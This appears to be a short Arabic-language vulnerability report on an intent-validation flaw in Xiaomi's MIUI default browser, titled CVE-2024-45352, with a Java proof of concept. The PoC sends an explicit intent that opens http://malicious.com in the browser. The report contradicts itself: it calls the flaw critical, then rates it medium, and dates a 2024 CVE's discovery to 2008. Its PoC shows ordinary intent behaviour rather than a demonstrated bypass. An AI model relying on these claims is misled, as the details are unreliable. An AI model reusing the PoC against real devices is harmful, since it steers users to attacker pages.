xiaomi-cve-2024-45352

تقرير فني عن ثغرة حرجة في Xiaomi ملخص الثغرة تم اكتشاف ثغرة في المتصفح الافتراضي لـ Xiaomi (com.android.browser) على العديد من أجهزة MIUI. يفشل التطبيق في التحقق بشكل صحيح من النوايا (intents) التي يتم تمريرها عبر startActivity، مما يسمح للتطبيقات الخبيثة بفتح عناوين URL عشوائية أو تنفيذ إجراءات غير مقصودة.

• معرف CVE: CVE-2024-45352
• المكوّن
• :com.android.browser
• الخطورة: متوسطة
• الحالة: تم الإبلاغ إلى Xiaomi (في انتظار التأكيد)
• تاريخ الاكتشاف: [24 أبريل 2008]

🔥 إثبات المفهوم (PoC)

1. أنشئ تطبيقًا خبيثًا بسيطًا باستخدام الـ intent التالي:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);